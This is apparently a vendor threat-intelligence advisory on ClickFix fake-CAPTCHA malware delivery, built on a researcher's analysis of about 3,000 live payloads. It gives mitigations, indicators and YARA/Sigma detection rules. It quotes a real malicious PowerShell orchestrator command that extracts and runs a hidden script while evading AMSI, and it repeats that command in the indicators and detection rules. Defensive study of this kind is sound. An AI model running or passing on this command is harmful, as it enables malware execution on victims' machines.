Researcher Analyzes 3,000 Live ClickFix Payloads, Exposing API-Driven Malware Delivery

1. Executive summary

Security researcher Bert-Jan Pals analysed approximately 3,000 live ClickFix payloads and revealed that the social-engineering delivery technique has matured into an API-driven malware-as-a-service operation. Backend servers now generate uniquely obfuscated payloads per request — wrapping a common core script in rotating layers of Base64, AES, TripleDES, Rijndael, and Defflate — and a new "Downloads-folder" delivery method is designed to bypass Windows AMSI script scanning. EMEA financial services face elevated exposure given ESET's measured 517% surge in ClickFix activity from late 2024 through H1 2025 and Microsoft's attribution of 47% of initial-access cases observed by its Defender Experts team to this technique. No verified CVE reference data was resolved for this item; the risk is a behavioural attack chain, not a specific software vulnerability.

2. Regulatory framing

3. Technical analysis & attack chain

Confirmed attack chain (multi-source corroborated)

1. Initial contact. Victim reaches a booby-trapped web page displaying a fake CAPTCHA or error message. The page serves lures in 25 languages and matches the payload to the visitor's operating system (Windows and macOS variants observed).
2. Clipboard injection. Hidden JavaScript on the page copies a malicious command into the victim's clipboard. The page instructs the user to press a key combination, paste, and hit Enter — the victim executes the malware manually.
3. Execution vector evolution. The original 2024 lure instructed users to press Windows+R and paste into the Run dialog. A newer version, common through 2025 and into 2026, directs users to press Windows+X and use Windows Terminal instead. Terminal use leaves no trace in the RunMRU registry key, unlike the Run dialog.
4. Payload delivery (API-driven). Backend servers function as on-demand payload generators: they accept requests, validate an access token, log the caller, and return a freshly obfuscated command. Pals requested 100 payloads from one server and received 100 unique outputs, each wrapped in a rotating combination of Base64, AES, TripleDES, Rijndael, and Deflate. Despite the obfuscation variety, all payloads unpack to the same core script, which executes in memory via a PowerShell runspace.
5. New delivery method — Downloads-folder orchestrator. A newer technique designed to evade AMSI works as follows: - The page downloads a file (tmp.zip) to the user's Downloads folder. - The clipboard receives a short "orchestrator" command — not the payload itself — which moves, extracts, and executes the script from the downloaded archive. - Because the pasted line is only the orchestrator and not the payload, AMSI has nothing malicious to scan at script-execution time. The malicious code resides in the downloaded file. - Observed clipboard command: powershell -C "$t=$env:TMP;Move-Item \"$HOME\Downloads\tmp.zip\" \"$t\7947.zip\";tar -xf \"$t\7947.zip\" -C \"$t\";conhost --headless powershell -ExecutionPolicy Bypass -File \"$t\tmp.ps1\" # \"* I am not a robot reCAPTCHA Verification ID:7947 *\""
6. Execution. The orchestrator moves tmp.zip from Downloads to %TMP%\7947.zip, extracts it using tar -xf, and runs tmp.ps1 via conhost --headless powershell -ExecutionPolicy Bypass -File. The --headless flag suppresses the console window. The trailing comment (# "* I am not a robot reCAPTCHA Verification ID:7947 *") is a social-engineering artefact designed to look legitimate.

Technical specifics of note

• No exploit at initial access. There is typically no software exploit at the first step and often no file for traditional AV to flag at clipboard stage.
• In-memory execution. The core payload runs through a PowerShell runspace in memory, reducing on-disk artefacts.
• AMSI evasion. The Downloads-folder method specifically separates the orchestrator (pasted, scanned by AMSI) from the payload (in the downloaded archive, not scanned at paste time).
• MITRE ATT&CK. The technique has its own ATT&CK entry: T1204.004 (User Execution: ClickFix).
• Scale. ESET measured a 517% increase in ClickFix activity from late 2024 through H1 2025. Microsoft's 2025 Digital Defense Report attributed 47% of initial-access cases seen by its Defender Experts team to this technique.

Attribution caveat (single-sourced; verify before enforcement)

Proofpoint reportedly tied state-backed groups from Russia, Iran, and North Korea — including APT28, MuddyWater, and Kimsuky — to campaigns that incorporated ClickFix into existing infection chains. A North Korean "ClickFake Interview" variant targeting cryptocurrency workers was also reported. No MITRE ATT&CK actor profiles were resolved in the verified reference data for this item; treat all named-actor attribution as unconfirmed. These claims originate from Proofpoint reporting referenced in the source material and should be corroborated before being used in attribution-driven defensive actions.

4. Mitigation & containment

P1 — Within 24 hours

• Block clipboard-paste execution from browsers. Deploy EDR/Application Control rules to restrict powershell.exe and conhost.exe from executing when the parent process is a browser or Windows Terminal launched via Windows+X. Specifically:
• Alert on conhost.exe --headless executing with powershell -ExecutionPolicy Bypass as a child process.
• Alert on powershell.exe executing with -ExecutionPolicy Bypass where the command line contains Move-Item and Downloads and tar -xf.
• Monitor for the Downloads-folder pattern. Create detection rules for any process moving a .zip from $HOME\Downloads to $env:TMP followed by tar -xf extraction and script execution.
• Enable AMSI for PowerShell. Ensure AMSI integration is active for all script hosts. Note: the Downloads-folder method is designed to evade AMSI at paste time — AMSI alone is insufficient.
• Restrict tar.exe usage. tar.exe is a signed Windows binary (LOLBIN). Alert on tar.exe extracting archives to %TMP% when invoked from a PowerShell orchestrator.

P2 — Within 72 hours

• Deploy web-content filtering. Block categories associated with fake CAPTCHA / fake verification pages. Ensure filtering applies to all egress points including VPN and direct internet.
• User awareness. Issue a targeted advisory to all staff: "No legitimate website will ask you to paste a command into Windows Terminal, PowerShell, or the Run dialog." Specifically warn against Windows+X → Terminal → paste instructions.
• Hunt for existing compromise. Search endpoint telemetry for:
• PowerShell processes with -ExecutionPolicy Bypass launched from conhost.exe --headless.
• Files matching 7947.zip or tmp.zip in %TMP%.
• tmp.ps1 execution from %TMP%.
• Any PowerShell runspace activity with no corresponding on-disk script origin.
• Check RunMRU. While the newer variant avoids the Run dialog, search HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU for any pasted PowerShell commands as evidence of older-variant activity.

P3 — Within 7 days

• EDR tuning. Build custom EDR rules for in-memory PowerShell runspace execution originating from browser or Terminal parent processes. The core payload executes via a PowerShell runspace — detect runspace creation patterns that lack a corresponding on-disk .ps1 file.
• Network detection. If backend API infrastructure is identified (access-token-authenticated endpoints returning obfuscated payloads), block and alert on connections to those domains/IPs. Note: no specific API endpoints were disclosed in the source material.
• Tabletop exercise. Run a DORA Art. 24 digital operational resilience test simulating a ClickFix initial-access event to validate detection and response capabilities.

5. Indicators of compromise

file_path  $HOME\Downloads\tmp.zip
file_path  $env:TMP\7947.zip
file_path  $env:TMP\tmp.ps1
command_line  conhost --headless powershell -ExecutionPolicy Bypass -File
command_line  powershell -C "$t=$env:TMP;Move-Item \"$HOME\Downloads\tmp.zip\" \"$t\7947.zip\";tar -xf \"$t\7947.zip\" -C \"$t\";conhost --headless powershell -ExecutionPolicy Bypass -File \"$t\tmp.ps1\" # \"* I am not a robot reCAPTCHA Verification ID:7947 *\""
string  * I am not a robot reCAPTCHA Verification ID:7947 *
technique  T1204.004

6. Detection

rule ClickFix_Downloads_Orchestrator {
    meta {
        author = "Adverse Trace"
        date = "2026-07-01"
        reference = "https://thehackernews.com/2026/07/researcher-analyzes-3000-live-clickfix.html"
        description = "Detects ClickFix Downloads-folder orchestrator script and associated artefacts"
    }
    strings:
        $orchestrator = "powershell -C \"$t=$env:TMP;Move-Item \\\"$HOME\\Downloads\\tmp.zip\\\" \\\"$t\\7947.zip\\\";tar -xf \\\"$t\\7947.zip\\\" -C \\\"$t\\\";conhost --headless powershell -ExecutionPolicy Bypass -File \\\"$t\\tmp.ps1\\\""
        $captcha_string = "* I am not a robot reCAPTCHA Verification ID:7947 *"
        $headless = "conhost --headless powershell -ExecutionPolicy Bypass -File"
        $tmp_zip = "7947.zip"
        $tmp_ps1 = "tmp.ps1"
        $downloads_zip = "Downloads\\tmp.zip"
    condition:
        3 of them
}

title: ClickFix Downloads-Folder Orchestrator Execution
id: at-2026-07-01-213-sigma-1
status: experimental
description: Detects the ClickFix Downloads-folder orchestrator pattern where a PowerShell command moves a ZIP from Downloads to TMP, extracts it with tar, and executes a script via conhost --headless
references:

    - https://thehackernews.com/2026/07/researcher-analyzes-3000-live-clickfix.html
author: Adverse Trace
date: 2026/07/01
logsource:
    product: windows
    category: process_creation
detection:
    selection_move:
        CommandLine|contains:

            - "Move-Item"
            - "Downloads\\tmp.zip"
            - "7947.zip"
    selection_tar:
        CommandLine|contains: "tar -xf"
    selection_headless:
        CommandLine|contains: "conhost --headless powershell -ExecutionPolicy Bypass"
    selection_captcha:
        CommandLine|contains: "I am not a robot reCAPTCHA Verification ID:7947"
    condition: selection_move and selection_tar and selection_headless
falsepositives:

    - Unknown — pattern is highly specific to the ClickFix orchestrator
level: high

title: ClickFix conhost headless PowerShell Execution
id: at-2026-07-01-213-sigma-2
status: experimental
description: Detects conhost.exe launched with --headless flag executing PowerShell with ExecutionPolicy Bypass, a pattern observed in ClickFix campaigns
references:

    - https://thehackernews.com/2026/07/researcher-analyzes-3000-live-clickfix.html
author: Adverse Trace
date: 2026/07/01
logsource:
    product: windows
    category: process_creation
detection:
    selection_conhost:
        Image|endswith: \conhost.exe
        CommandLine|contains: "--headless"
    selection_powershell:
        CommandLine|contains:

            - "powershell"
            - "-ExecutionPolicy Bypass"
    condition: selection_conhost and selection_powershell
falsepositives:

    - Legitimate use of conhost --headless is rare in enterprise environments
level: medium

7. Sources

• The Hacker News, "Researcher Analyzes 3,000 Live ClickFix Payloads, Exposing API-Driven Malware Delivery," https://thehackernews.com/2026/07/researcher-analyzes-3000-live-clickfix.html, published 2026-07-01.

8. Adverse Trace position

This is a high-severity item for EMEA financial services. ClickFix is not a vulnerability to patch — it is a social-engineering delivery technique that has industrialised into an API-driven service with per-request payload obfuscation and a dedicated AMSI-evasion method. The 47% initial-access rate attributed by Microsoft's Defender Experts and the 517% activity surge measured by ESET indicate that this is now a primary initial-access vector, not a niche threat. The technique's inclusion in MITRE ATT&CK (T1204.004) confirms its establishment in the threat landscape. Attribution to named state actors (APT28, MuddyWater, Kimsuky) is unconfirmed — no MITRE actor profiles were resolved in the verified reference data, and these claims are single-sourced through Proofpoint reporting referenced in the source material. We will continue to monitor for disclosed API endpoint infrastructure, payload hashes, and corroborating attribution reporting. Clients should treat this as an active, ongoing campaign and implement the P1 detection rules immediately.

Read the original source →

Published via PulseTrace — Adverse Trace threat intelligence.